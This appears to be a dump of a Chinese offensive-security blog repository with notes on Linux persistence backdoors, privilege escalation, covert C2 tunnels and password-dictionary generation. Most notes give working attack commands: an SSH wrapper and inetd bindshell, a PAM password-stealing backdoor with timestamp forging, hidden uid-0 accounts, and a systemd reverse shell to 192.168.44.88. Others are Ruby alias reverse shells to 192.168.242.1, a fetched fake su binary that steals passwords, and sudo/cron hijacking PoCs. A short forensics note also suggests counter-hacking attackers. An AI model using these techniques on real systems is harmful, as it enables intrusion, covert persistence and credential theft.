├── 取证溯源 ├── Windows事件ID.png ├── 攻击溯源下的信息收集.md ├── Linux取证-(3).md ├── Linux取证-(1).md ├── Linux取证-(2).md └── Windows取证.md ├── 内网安全与后渗透 ├── NTPShell.md ├── DNShell.md ├── p1ngp0ng.md ├── 常用命令行操作.md ├── getshell后的基本信息收集.md └── 敏感数据搜集.md ├── 持久控制 └── Linux │ ├── Linux-SSHWrapper后门.md │ ├── Linux-PROMPT_COMMAND后门.md │ ├── Linux-PATH环境变量抢占后门.md │ ├── Linux-fake命令偷密码.md │ ├── Linux-(x)inetd后门.md │ ├── Linux-SSH软链接后门.md │ ├── Linux-PAM后门制作.md │ ├── Linux-后门账户.md │ ├── Linux-systemd服务后门.md │ ├── Linux-各种别名后门.md │ ├── Linux-计划任务后门.md │ ├── monero挖矿研究.md │ ├── 定制化OpenSSH后门.md │ ├── Linux下的无文件攻击.md │ └── Linux-内存执行ELF.md ├── 权限提升 └── Linux提权 │ └── 配置不当提权 │ ├── 环境变量劫持提权.md │ ├── shell脚本调用权限继承提权.md │ ├── shell脚本定时任务提权.md │ ├── sudo脚本参数提权.md │ ├── 软链接提权.md │ ├── sudo脚本篡改提权.md │ ├── suid.md │ └── sudo.md ├── 入口突破 ├── 社工字典生成器RainCode.md └── 自然人口令常见模式.md ├── 审查对抗 └── 反审查技术 │ └── 隐写术.md ├── README.md ├── 信息收集 ├── 企业目标资产信息收集.md └── 自然人信息社工.md └── 躲避检测 └── 渗透测试中的身份隐藏.md /取证溯源/Windows事件ID.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aplyc1a/blogs/HEAD/取证溯源/Windows事件ID.png -------------------------------------------------------------------------------- /内网安全与后渗透/NTPShell.md: -------------------------------------------------------------------------------- 1 | # NTPShell 2 | 3 | **获取地址**:https://github.com/aplyc1a/NTPShell 4 | 5 | 通过NTP协议来负载C2数据。 6 | 7 | **编译** 8 | 9 | ```shell 10 | gcc ntp.c -lpthread -o ntp 11 | ``` 12 | 13 | **使用** 14 | 15 | ```shell 16 | c2服务端:./ntp -S 17 | c2被控端:./ntp -C -s {server_addr} 18 | ``` 19 | -------------------------------------------------------------------------------- /内网安全与后渗透/DNShell.md: -------------------------------------------------------------------------------- 1 | # DNShell 2 | 一款基于DNS C2隧道的反弹shell工具。 3 | 4 | ## 支持 5 | **功能:** 6 | 支持DNS-recordA-直连型 的C2隧道。 7 | 8 | **目标:** 9 | Windows下基于Powershell的反弹。 10 | Linux下基于ShellScript的反弹。 11 | 12 | ## 使用方法 13 | ![usage-1](https://github.com/aplyc1a/DNShell/blob/master/usage-1.png) 14 | ![usage-1](https://github.com/aplyc1a/DNShell/blob/master/usage-2.png) 15 | ![usage-1](https://github.com/aplyc1a/DNShell/blob/master/usage-3.png) 16 | ![usage-1](https://github.com/aplyc1a/DNShell/blob/master/usage-4.png) 17 | 18 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-SSHWrapper后门.md: -------------------------------------------------------------------------------- 1 | ## SSH-Wrapper后门 2 | 3 | wrapper的中文翻译即"封装",因此此类后门顾名思义就是对原命令的二次封装,先执行恶意操作,之后再重定向到真实的命令上。从这个角度来说,我们使用的很多命令篡改后门都是wrapper后门。 4 | 5 | 关于这种后门最早是在14年提出的也就是现在大家熟知的SSH_Wrapper,是一个很老的后门了,原文链接:https://www.jakoblell.com/blog/2014/05/07/hacking-contest-ssh-server-wrapper/ 6 | 7 | 8 | 9 | ```shell 10 | cd /usr/sbin/ 11 | mv sshd ../bin/ 12 | 13 | 14 | echo '#!/usr/bin/perl' >sshd 15 | echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd 16 | echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd 17 | 18 | 19 | chmod u+x sshd 20 | /etc/init.d/sshd restart 21 | ``` 22 | 23 | 这种后门在实际场景下非常容易被识别,不具有隐蔽性。 -------------------------------------------------------------------------------- /持久控制/Linux/Linux-PROMPT_COMMAND后门.md: -------------------------------------------------------------------------------- 1 | 环境变量$PROMPT_COMMAND常用于history加固,它用于定义每条命令执行前预先执行的命令。 2 | 3 | 攻击者通过向$PROMPT_COMMAND内注入恶意操作,可以实现持久化与攻击的效果。这类后门的持久化往往依赖于写登陆加载文件(profile、bashrc)等。 4 | 5 | 下面是一个简单的demo例子。 6 | 7 | ```shell 8 | echo "PROMPT_COMMAND=lsof -i:1025 &>/dev/null || ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1025" >> /etc/profile 9 | ``` 10 | 11 | 12 | 13 | 这种后门隐蔽性较差: 14 | 15 | (1)对于持久化到文件内的PROMPT_COMMAND后门,我们只需在登录shell后查看$PROMPT_COMMAND的内容即可暴露攻击命令。 16 | 17 | (2)对于持久化到某个进程内的PROMPT_COMMAND后门(eg: PROMPT_COMMAND=ls ping google.com),我们查看进程目录的environ文件即可暴露攻击命令。 18 | 19 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-13_160838.png) 20 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-PATH环境变量抢占后门.md: -------------------------------------------------------------------------------- 1 | $PATH定义了命令加载时优先进行检索的目录,攻击者可以通过向$PATH内高优先级的目录下部署同名的恶意文件实现劫持低优先级目录命令的效果。 2 | 3 | 想要实现对$PATH的持久化篡改往往依赖于篡改登录执行文件(如/etc/profile)。 4 | 5 | $PATH常被用于窃取密码,复制传染,部署应用层rootkit等功能。 6 | 7 | ```shell 8 | root@walrus:~# echo $PATH 9 | /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 10 | root@walrus:~# su walrus 11 | walrus@walrus:/root$ echo $PATH 12 | /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games 13 | ``` 14 | 15 | 例如: 16 | ```shell 17 | #https://github.com/aplyc1a/toolkits/tree/master/0x04 持续控制/Linux/fake命令后门 18 | wget http://10.1.1.1:12345/fake_su -O /usr/sbin/su 19 | chown root:root /usr/sbin/su && chmod 4755 /usr/sbin/su 20 | ``` 21 | 22 | -------------------------------------------------------------------------------- /权限提升/Linux提权/配置不当提权/环境变量劫持提权.md: -------------------------------------------------------------------------------- 1 | 下面简单给个例子介绍如何进行软链接提权。 2 | 3 | **示例代码如下**: 4 | 5 | ```shell 6 | #include 7 | #include 8 | #include 9 | 10 | int main(){ 11 | setuid(0); 12 | setgid(0); 13 | system("netstat -ntuap"); 14 | return 0; 15 | } 16 | ``` 17 | 18 | **环境配置** 19 | root用户编译上面的程序,并赋s权限,使得任何一个用户都能够看到系统的网络监听明细。 20 | 21 | ```shell 22 | gcc 1.c ;chmod 4755 a.out 23 | ``` 24 | 25 | **攻击者利用** 26 | 27 | 攻击者用户先修改自己的环境变量,加入高优先级的路径,如果在该路径下存在与其他路径同名的命令就能优先执行。在下面的具体命令中,由于示例代码内以root权限调用了netstat,而此时netstat已经被劫持了,所以可以最终造成了提权。 28 | 29 | ``` 30 | #部署$PATH劫持后门 31 | export PATH=/tmp:$PATH 32 | echo "/bin/bash" > /tmp/netstat 33 | chmod 777 /tmp/netstat 34 | #执行受害程序 35 | ./a.out -------------------------------------------------------------------------------- /持久控制/Linux/Linux-fake命令偷密码.md: -------------------------------------------------------------------------------- 1 | 攻击者拿到权限但不知道密码时,有时会考虑通过劫持su、sudo、passwd命令实现偷取正常用户输入的密码。 2 | 3 | 虽然这个技术从思想上来说并不高端,但是实际实施起来有很多种姿势与点需要注意。 4 | 5 | 以下是3款我写的相关小工具: 6 | 7 | ```shell 8 | https://github.com/aplyc1a/toolkits/blob/master/0x04 持续控制/Linux/fake命令后门/fake_passwd/README.md 9 | https://github.com/aplyc1a/toolkits/blob/master/0x04 持续控制/Linux/fake命令后门/fake_su/README.md 10 | https://github.com/aplyc1a/toolkits/blob/master/0x04 持续控制/Linux/fake命令后门/fake_sudo/README.md 11 | ``` 12 | 13 | **姿势:** 14 | 15 | 部署fake类后门有两种部署方法: 16 | 17 | ```shell 18 | 1.利用$PATH内定义的优先级顺序,在高优先级目录创建fake命令。这种方法不需要攻击者非得是root用户。(这种后门在取证溯源时抗包管理自检,但熟悉命令位置时就能发现) 19 | 2.攻击者拿到root权限后,使用fake命令替换掉正确位置的命令文件,并将fake内指定移动后的命令位置。(这种后门会被包管理器自检发现) 20 | ``` 21 | 22 | **注意点:**必须足够的真。命令交互过程中的语言不能一会汉语一会英语,界面上尽可能地与正常命令保证一致。这是需要不断的对工具脚本进行打磨调整的。 23 | 24 | 总的来说,这种技术难度不高,但是做真的难度很大。从取证溯源的角度来说,识别这类后门比较容易。可以关注这些后门的内容是二进制还是明文ascii,可以关注系统内的同名文件,也可以使用包管理自检。 25 | 26 | -------------------------------------------------------------------------------- /权限提升/Linux提权/配置不当提权/shell脚本调用权限继承提权.md: -------------------------------------------------------------------------------- 1 | # 环境准备 2 | 3 | **1.root账户配置如下命令:** 4 | 5 | ```shell 6 | root: groupadd aplyc1a 7 | root: useradd -d /home/aplyc1a -m aplyc1a -g aplyc1a -s /bin/bash -p 123456 8 | root: mkdir -p ~aplyc1a/escal 9 | root: chown aplyc1a:aplyc1a ~aplyc1a/escal 10 | root: chmod a+x ~aplyc1a/escal 11 | ``` 12 | 13 | **2.多脚本环境准备** 14 | 15 | root目录下有1脚本: 16 | 17 | ```shell 18 | root: echo '#!/bin/bash' >> /root/.hourly.sh 19 | root: echo 'bash /home/aplyc1a/escal/.hourlychk.sh' >> /root/.hourly.sh 20 | ``` 21 | 22 | root用户将本脚本放到了定时任务或/etc/profile中。 23 | 24 | aplyc1a家目录下有1脚本: 25 | 26 | ```shell 27 | aplyc1a: echo "find ~aplyc1a -user root -type f -exec md5sum {}\;" >> ~aplyc1a/escal/.hourlychk.sh 28 | aplyc1a: chmod +x ~aplyc1a/escal/.hourlychk.sh 29 | ``` 30 | 31 | 32 | 33 | # 攻击实施 34 | 35 | 攻击者攻陷aplyc1a账户后直接修改~aplyc1a/escal/.hourlychk.sh脚本,加入反弹shell、改密码、添加uid=0账户等等操作的命令。执行后达到提权。这种攻击的思想是脚本执行权限继承。/home/aplyc1a/escal/.hourlychk.sh的实际运行时权限为root,因此能执行敏感操作。 36 | -------------------------------------------------------------------------------- /权限提升/Linux提权/配置不当提权/shell脚本定时任务提权.md: -------------------------------------------------------------------------------- 1 | # 环境准备 2 | 3 | **1.root账户配置如下命令:** 4 | 5 | ```shell 6 | groupadd aplyc1a 7 | useradd -d /home/aplyc1a -m aplyc1a -g aplyc1a -s /bin/bash -p 123456 8 | mkdir -p ~aplyc1a/escal 9 | chown aplyc1a:aplyc1a ~aplyc1a/escal 10 | chmod a+x ~aplyc1a/escal 11 | ``` 12 | 13 | **2.环境内本身有一定时任务:** 14 | 15 | root账户定时检查aplyc1a家目录下的文件是否被篡改。 16 | 17 | ```text 18 | echo '#!/bin/bash' >> ~aplyc1a/escal/.hourlychk.sh 19 | echo "find ~aplyc1a -user root -type f -exec md5sum {}\;" 20 | chmod 744 ~aplyc1a/.escal/hourlychk.sh 21 | echo "* */1 * * * root /home/aplyc1a/escal/.hourlychk.sh" >> /etc/crontab 22 | ``` 23 | 24 | # 攻击实施 25 | 26 | 由于.hourlychk.sh所在的目录/home/aplyc1a/escal/属主属组是aplyc1a,换句话来说完全可控,因此攻击者获得aplyc1a账户后,可以删除/home/aplyc1a/escal/目录,再重新创建一个新的目录及对应的~aplyc1a/escal/.hourlychk.sh,内部写入恶意命令: 27 | 28 | 29 | ```shell 30 | echo '#!/bin/bash' >> ~aplyc1a/escal/.hourlychk.sh 31 | echo "echo \root:123456\" | chpasswd" >> ~aplyc1a/escal/.hourlychk.sh 32 | chmod a+x ~aplyc1a/escal/.hourlychk.sh 33 | ``` 34 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-(x)inetd后门.md: -------------------------------------------------------------------------------- 1 | (x)inetd是以前Linux发行版中的超级守护进程,它被用于接管tftp、telnet、rsync等服务。我们也可以一些持久化服务,让(x)inetd接管。 2 | 3 | 4 | 5 | ## inetd后门 6 | 7 | 执行以下命令会在10013端口开放一个后门。 8 | 9 | ```shell 10 | echo "daytime stream tcp nowait /bin/sh sh –I" >> /etc/inetd.conf 11 | echo "daytime 10013/tcp" >> /etc/services 12 | inetd 13 | ``` 14 | 15 | 16 | 17 | ## xinetd后门 18 | 19 | 20 | 21 | ```shell 22 | echo "safe-guard 58888/tcp # CentOS safe-guard master daemon" >> /etc/services 23 | cat /etc/xinet.d/safe-guard.xinetd<> /etc/sudoers 7 | root: chmod 755 /home/aplyc1a/escal/1.sh 8 | ``` 9 | 10 | 脚本内容如下: 11 | 12 | ```shell 13 | #!/bin/bash 14 | set -x 15 | if [ $1 = "aaa" ];then 16 | cmd = "$2 $3" 17 | eval $cmd 18 | exit $? 19 | fi 20 | ``` 21 | 22 | poc: 23 | 24 | ```shell 25 | aplyc1a:sudo ./1.sh aaa su - 26 | ``` 27 | 28 | # 0x01 脚本2 29 | 30 | ```shell 31 | #!/bin/bash 32 | set -x 33 | if [ $1 = "aaa" ];then 34 | chown aplyc1a:aplyc1a $2/log.sh 35 | fi 36 | ``` 37 | 38 | poc: 39 | 40 | ```shell 41 | aplyc1a:sudo ./2.sh aaa "/etc/passwd " 42 | ``` 43 | 44 | 45 | 46 | # 0x02 脚本3 47 | 48 | root在aplyc1a家目录下创建3.sh内容如下: 49 | 50 | ```shell 51 | #!/bin/bash 52 | ${1}/log.sh 53 | ``` 54 | 55 | poc: 56 | 57 | ```shell 58 | aplyc1a: echo "#!/bin/bash" > /tmp/log.sh 59 | aplyc1a: echo "bash" > /tmp/log.sh 60 | aplyc1a: chmod a+x /tmp/log.sh 61 | aplyc1a:sudo ./3.sh "/tmp/" 62 | ``` 63 | 64 | -------------------------------------------------------------------------------- /权限提升/Linux提权/配置不当提权/软链接提权.md: -------------------------------------------------------------------------------- 1 | 当Linux发行版禁用对符号链接的保护时:echo 0 > /proc/sys/fs/protected_symlinks 2 | 3 | 对软链接文件执行chown操作时,如果未加-h参数,实际将会操作原文件。 4 | 5 | 利用该特点我们能实现对文件的提权与降权。 6 | 7 | ### 文件提权 8 | 9 | root用户创建了以下下脚本 10 | 11 | ```shell 12 | nano 1.sh < /proc/sys/net/ipv4/icmp_echo_ignore_all 22 |     p1ng -C 23 | ![main-panel](https://github.com/aplyc1a/p1ngp0ng/blob/master/logo.png) 24 | ![p1ng-simple-usage](https://github.com/aplyc1a/p1ngp0ng/blob/master/p1ng_usage.png) 25 | 26 | **p0ng:** 27 | c2服务端:echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all 28 |     p0ng -S 29 | c2被控端: 30 | p0ng -C -s ${server_ip} 31 | -------------------------------------------------------------------------------- /权限提升/Linux提权/配置不当提权/sudo脚本篡改提权.md: -------------------------------------------------------------------------------- 1 | 如果sudo脚本由攻击者可控,那会引发提权问题。 2 | 3 | # 环境准备 4 | 5 | root账户执行以下操作: 6 | 7 | ```shell 8 | groupadd aplyc1a 9 | useradd -d /home/aplyc1a -m aplyc1a -g aplyc1a -s /bin/bash -p 123456 10 | mkdir -p ~aplyc1a/escal 11 | chown aplyc1a:aplyc1a ~aplyc1a/escal 12 | chmod a+x ~aplyc1a/escal 13 | ``` 14 | 15 | # 脚本配置 16 | 17 | ```shell 18 | root: echo "aplyc1a ALL=(root) NOPASSWD:/home/aplyc1a/escal/3.sh" >> /etc/sudoers 19 | aplyc1a: echo '#!/bin/bash' >> /home/aplyc1a/escal/3.sh 20 | aplyc1a: echo "ps aux" >> /home/aplyc1a/escal/3.sh 21 | aplyc1a: chmod +x /home/aplyc1a/escal/3.sh 22 | ``` 23 | 24 | # 攻击实施 25 | 26 | 攻击者攻陷aplyc1a账户后,通过在配置了sudo白名单免密的脚本中夹杂私货达到提权的目的。 27 | 28 | ```shell 29 | aplyc1a: echo 'whoami' >> /home/aplyc1a/escal/3.sh 30 | aplyc1a: echo 'su -' >> /home/aplyc1a/escal/3.sh 31 | aplyc1a: sudo /home/aplyc1a/escal/3.sh 32 | ``` 33 | 34 | # 其他 35 | 36 | 1.如果/home/aplyc1a/escal/3.sh属主属组为root,由于/home/aplyc1a/escal/目录有aplyc1a完全可控,仍可通过删掉重新部署的方式达到提权。 37 | 38 | ```shell 39 | root:chown root:root /home/aplyc1a/escal/3.sh 40 | ``` 41 | 42 | 2.如果对某个aplyc1a下的目录配置了sudo,那么可以在该目录下创建脚本,写入恶意提权命令,达到提权。 43 | 44 | ```shell 45 | root: echo "aplyc1a ALL=(root) NOPASSWD:/home/aplyc1a/escal/" >> /etc/sudoers 46 | ``` 47 | 48 | 3.如果有sudo权限的某脚本虽然不可控,但其内部调用的其他脚本aplyc1a可以修改它,则可以通过修改被调用的子脚本达到提权目的。 49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-PAM后门制作.md: -------------------------------------------------------------------------------- 1 | # PAM后门制作 2 | 3 | 关于PAM后门的制作网上已经有很多教程了,这位师傅写的蛮详细。自己这里大体相当于复现了他的操作。 4 | 5 | 地址:https://xz.aliyun.com/t/7902 6 | 7 | 8 | 9 | ## 获取PAM源码包 10 | 11 | ```shell 12 | #Debian系 13 | apt list --installed|grep pam 14 | dpkg -L libpam-modules:amd64 |grep pam_unix.so 15 | dpkg -l libpam-modules:amd64 16 | 17 | http://deb.debian.org/debian/pool/main/p/pam/pam_1.4.0.orig.tar.xz 18 | 19 | 20 | #RHEL系 21 | rpm -qf /usr/lib64/security/pam_unix.so 22 | http://www.linux-pam.org/library/ 23 | ``` 24 | 25 | ## 插入后门逻辑 26 | 27 | 这里主要参考网上给出的那个位置进行后门代码注入。 28 | 29 | ```shell 30 | pam_unix_auth.c ... pam_sm_authenticate 31 | ``` 32 | 33 | 下面的代码中同时给出了硬编码后门及口令窃取后门,具体改法如下: 34 | 35 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-13_145932.png) 36 | 37 | ## 编译 38 | 39 | ```shell 40 | ./configure && make 41 | #下面具体的拷贝目的地与Linux的发行版有关,不同系统下位置略有差异。 42 | mv /usr/lib/x86_64-linux-gnu/security/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so.bak 43 | cp /root/Downloads/PAM/Linux-PAM-1.4.0/modules/pam_unix/.libs/pam_unix.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so 44 | chmod 644 /usr/lib/x86_64-linux-gnu/security/pam_unix.so 45 | #改一下时间戳 46 | touch -acmr /usr/lib/x86_64-linux-gnu/security/pam_warn.so /usr/lib/x86_64-linux-gnu/security/pam_unix.so 47 | ``` 48 | 49 | ## 效果 50 | 51 | ![](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-07-13_145807.png) 52 | 53 | 总体下来可以发现单论制作,比OpenSSH后门简单的多,同时理论上它应该也能偷取到sftp之类的其他使用PAM进行linux账户认证时输入的密码。 54 | 55 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-后门账户.md: -------------------------------------------------------------------------------- 1 | ## 后门账户 2 | 3 | 常规加账户的基操差不多是这样的。 4 | 5 | ```shell 6 | useradd -d /home/aplyc1a -c "aplyc1a" aplyc1a -s /bin/bash -m 7 | passwd aplyc1a 8 | ``` 9 | 10 | 攻击者拿下设备root权限后,可能会手工放置后门账户。留后门账户的手法相对而言比较固定,归根到底是动/etc/shadow、/etc/passwd文件,或加入免密公钥。使用过程中可以关注从名称及文件位置的角度增强后门账户的隐蔽性。 11 | 12 | ```shell 13 | #shadow root后门账户 14 | useradd -u 0 -o -g root -G root -M -s /bin/bash admin 15 | # 也可以通过修改现有账户uid、gid实现 16 | usermod -u 0 -o hips-user4 17 | 18 | 19 | 20 | #普通权限的后门账户,但是名字有很强的迷惑性,可用于挖矿,botnet等。 21 | useradd -d /x -c "config" -s /bin/bash config -m、 22 | useradd -d /home/... -s /bin/bash x -m 23 | # 也可以通过修改现有账户实现,如下通过让本身没有shell的账户变成可登录账户。 24 | chsh -s /bin/sh www-data 25 | echo "123456" | passwd –-stdin www-data 26 | ``` 27 | 28 | 29 | 30 | 最常见的其实是攻击者在.ssh目录下放置自己的服务器公钥,实现免密登录持久化。这种方式本身隐蔽性是极强的,然而现在用多了大家都知道了之后,实际效果反而不是那么好。公钥一般加在: 31 | 32 | ```shell 33 | ~/.ssh/authorized_keys 34 | ``` 35 | 36 | 我们也可以修改/etc/ssh/sshd_config中的AuthorizedKeysFile字段,隐藏我们真正的公钥。如下: 37 | 38 | ```shell 39 | cat /etc/ssh/sshd_config|grep AuthorizedKeysFile 40 | AuthorizedKeysFile .cache 41 | 42 | #others_user 43 | ln /root/.ssh/authorized_keys ~/.cache/ssh.rc 44 | 45 | #target_user 46 | mkdir -p ~${target_user}/.cache 47 | echo "xxxxxxxxxxxxxxxxxxxxxxxx" >> ~/.cache/ssh.rc 48 | 49 | #这样,正常用户的免密公钥也能正常使用,我们只需要有针对性地维护目标用户即可。 50 | ``` 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 对运维人员来说,可以重点关注如果账户被删掉了,但进程还在会ps等命令中会表现为一个编号。同时如果账号本身名称过长,在ps中会显示前7-8位后面替换成+号。 63 | 64 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-systemd服务后门.md: -------------------------------------------------------------------------------- 1 | systemd后门是一种自启动服务后门。顾名思义能够在操作系统启动后自动运行的脚本或命令。Linux下关于自启动管理最常见的是使用systemd、init.d,前者是后者的替代,目前已经默认启用于大多数Linux发行版中。 2 | 3 | 攻击者获得主机root权限后,可以在自启动脚本目录部署自己的自启动服务,达到每次开机就运行的目的。 4 | 5 | 下面给出几个简单的自启动服务例子。 6 | 7 | ## 例子1 系统重启开bindshell后门 8 | 9 | ```shell 10 | cat /usr/lib/systemd/system/backdoor.service < /dev/tcp/192.168.44.88/8080 0<&1 2>&1 52 | Restart=always 53 | RestartSec=12s 54 | 55 | [Install] 56 | WantedBy=default.target 57 | 58 | EOF 59 | ``` 60 | 61 | 准备好以上的服务配置文件后,开始启用该配置 62 | 63 | ```shell 64 | systemctl daemon-reload 65 | systemctl enable guard #启用该配置,重启后开后门 66 | systemctl start guard #启动该配置,立刻会开后门 67 | 68 | 69 | nc -lvvp 8080 70 | ``` -------------------------------------------------------------------------------- /取证溯源/攻击溯源下的信息收集.md: -------------------------------------------------------------------------------- 1 | ## 0x02 溯源取证中的攻击者身份信息收集 2 | 3 | 被攻陷的环境上往往留有不少攻击过程中留下的痕迹,这些痕迹有时能帮助取证人员溯源到攻击者的真实身份。 4 | 5 | 6 | 7 | ### 1 工具分析 8 | 9 | 使用逆向工程、字符串分析、行为分析等多种方式对从目标设备上提取到的恶意文件进行分析。提取其中有价值的特征。可能通过工具分析得到的信息有: 10 | 11 | #### 1.1 名称 12 | 13 | eg: 14 | 15 | 1.debug版本指示的调试文件路径中包含了特有的用户名。 16 | 17 | 2.authorized_keys中ssh公钥的主机名 18 | 19 | 3.注释信息 20 | 21 | **PS**:对于人的溯源于社工可以参考另一篇。[自然人信息社工](https://github.com/aplyc1a/blogs/blob/master/信息收集/自然人信息社工.md) 22 | 23 | #### 1.2 联系方式 24 | 25 | eg: 26 | 27 | 1.勒索软件的钱包地址 28 | 29 | 2.部分工具中含有的证书签名,发现其中含有邮箱地址。 30 | 31 | 3.“小学生”在黑页上留下的QQ、手机号 32 | 33 | **PS**:对于人的溯源于社工可以参考另一篇。[自然人信息社工](https://github.com/aplyc1a/blogs/blob/master/信息收集/自然人信息社工.md) 34 | 35 | 36 | 37 | #### 1.3 外联地址 38 | 39 | eg: 40 | 41 | 1.恶意样本运行时回连的地址 42 | 43 | 2.攻击流量的源地址 44 | 45 | 3.硬编码的域名或IP 46 | 47 | 48 | 49 | ### 2 日志历史记录分析 50 | 51 | #### 2.1 外联地址 52 | 53 | eg: 54 | 55 | 1.登录日志中的异常登录IP 56 | 57 | 2.历史记录中反弹shell操作中含有的外部地址 58 | 59 | 3.web日志中攻击请求的来源IP 60 | 61 | 4.持久化后门的外联地址 62 | 63 | 64 | 65 | ### 3 攻击地址分析 66 | 67 | #### 3.1 IP分析 68 | 69 | 1.1 归属地查询 70 | 71 | 网上能查IP归属地的网站有很多。国家、运营商是最好确定的,基本上给出的搜索结果中都会直接给出来。 72 | 73 | 1.2 威胁情报查询 74 | 75 | virustotal:https://www.virustotal.com/gui/ip-address/192.186.1.2/relations 76 | 77 | threatbook:https://x.threatbook.cn/ 78 | 79 | #### 3.2 域名分析 80 | 81 | whois查询一般能够获得域名拥有者的:**手机号**、**邮箱**、**姓名**。如果域名提供商对域名提供了隐藏保护,则不可行。 82 | 83 | 域名也可以过一遍威胁情报查询,看看是否已有公开记录。 84 | 85 | #### 3.3 服务分析 86 | 87 | 端口扫描并服务发现,确定目标对外开放的服务。 88 | 89 | 针对服务进行反渗透,拿下主机后。翻日志、抓包、钓鱼等方式,确定目标的真实位置与身份。 90 | 91 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-各种别名后门.md: -------------------------------------------------------------------------------- 1 | 提到别名后门,不少对Linux有使用经验的老哥们都会想到alias后门,下面是一个经典的alias后门: 2 | 3 | ```shell 4 | alias ssh='strace -o /tmp/sshwd-`date '+%d%h%m%s'`.log -e read -s2048 ssh' 5 | ``` 6 | 7 | 它的目的是在持久化阶段偷取root用户的密码。这样的后门想要正常使用,往往是需要将它写到登陆配置文件(profile、bashrc)中的。运维人员自然比较容易中招,但也更容易发现识别。因为它过于明显了,又有谁闲着没事给配置文件里面搞strace不是么?(题外话,个人实践下来感觉,想要偷账户密码还是使用PAM后门或者OpenSSH编译后门更为稳定且不易发现) 8 | 9 | 10 | 11 | 下面给出一些其他的不常见别名后门。 12 | 13 | ## 安全内参-彭瑞版alias后门 14 | 15 | 去年12月底,freebuf和安全内参上发了一篇关于后门研究的文章,原文的作者提出了一些自己关于alias后门的研究与总结,它能实现用alias反弹shell,并且正常使用alias命令查看配置项无法看到写入的后门,隐蔽性很高。 16 | 17 | 链接地址: 18 | 19 | ```shell 20 | https://www.secrss.com/articles/28412 21 | https://www.freebuf.com/articles/system/259494.html 22 | ``` 23 | 24 | 后门核心命令如下: 25 | 26 | ```shell 27 | #使用alias反弹NCshell。 28 | alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts" 29 | 30 | #使用alias反弹openssl shell 31 | alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end';};alerts" 32 | 33 | #屏蔽掉alias命令对后门的输出 34 | alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' 35 | ``` 36 | 37 | 与常规的alias后门不同,作者将这些命令写入/etc/yum/yum-update.rc文件中,并将篡改后的文件的时间戳改为和其他某个文件的时间戳一致。可以说,比较麻烦,但是很鸡贼了。 38 | 39 | ```shell 40 | touch -acmr version-groups.conf yum-update.rc 41 | ``` 42 | 43 | ## hash后门 44 | 45 | 这里我想给出一种更为罕见的后门,这种后门虽然隐蔽性不如上面那么强,但是由于现网渗透场景下出现的非常少,因此也可以作为别名后门技术的一种补充。 46 | 47 | hash命令负责显示储存命令运行时系统优先查询的哈希表,如果通过提前向哈希表内注入恶意配置项,再配合一些wrapper后门或恶意文件也能达到别名后门的效果。 48 | 49 | ```shell 50 | echo "hash -p /usr/share/man/man1/ls.2.gz ls" >> /etc/profile 51 | #/usr/share/man/man1/ls.2.gz 是一个恶意二进制文件,先反弹shell,再执行正常执行ls。 52 | ``` 53 | 54 | 举个demo例子: 55 | 56 | ```shell 57 | echo "hash -p /usr/bin/pwd ls" >> /etc/profile 58 | #当执行ls时会发现变成执行了pwd 59 | ``` 60 | 61 | -------------------------------------------------------------------------------- /入口突破/社工字典生成器RainCode.md: -------------------------------------------------------------------------------- 1 | # RainCode 2 | 3 | 社工字典生成器 4 | 5 | 6 | 7 | ## 使用 8 | 9 | raincode用来生成针对不同角色用户的高定制化字典。常见的密码都存在一定的规律,通过定制化不同角色的密码模型文件(*.model)及信息元数据文件(config.json)可以极大概率的产生正确的用户密码。 10 | 11 | ### 1 自然人 12 | 13 | **step1**:收集目标的各类信息,填入**human.json**。 14 | 15 | **step2**:选择对应的模型文件(**\*.model**)。 16 | 17 | **step3**:执行之。 18 | 19 | ```shell 20 | python3 raincode.py -j *.json -m *.model [-i dicfilename] [-o [result.txt]] 21 | -j/--json * : 指定需要加载的目标元数据文件。 22 | -m/--model * : 指定需要加载的目标模型文件。 23 | -o/--output [filename]: 指定输出文件名称。 24 | -i/--import *: 导入外置字典 25 | 26 | #输出到标准屏幕 27 | python3 raincode.py -j human.json -m model/chinese-password.model 28 | #输出密码到文件 29 | python3 raincode.py -j human.json -m model/chinese-password.model -o result.txt 30 | #导入密码 31 | python3 raincode.py -j human.json -m model/chinese-password.model -i common/chinese-password.txt 32 | ``` 33 | 34 | 35 | 36 | ### 2 后台 37 | 38 | **step1**:收集目标的各类信息,填入**backend.json**。 39 | 40 | **step2**:选择对应的模型文件(**\*.model**)。 41 | 42 | **step3**:执行之。 43 | 44 | ```shell 45 | python3 raincode.py -j *.json -m *.model [-i dicfilename] [-o [result.txt]] 46 | -j/--json : 指定需要加载的目标元数据文件。 47 | -m/--model: 指定需要加载的目标模型文件。 48 | -o/--output [filename]: 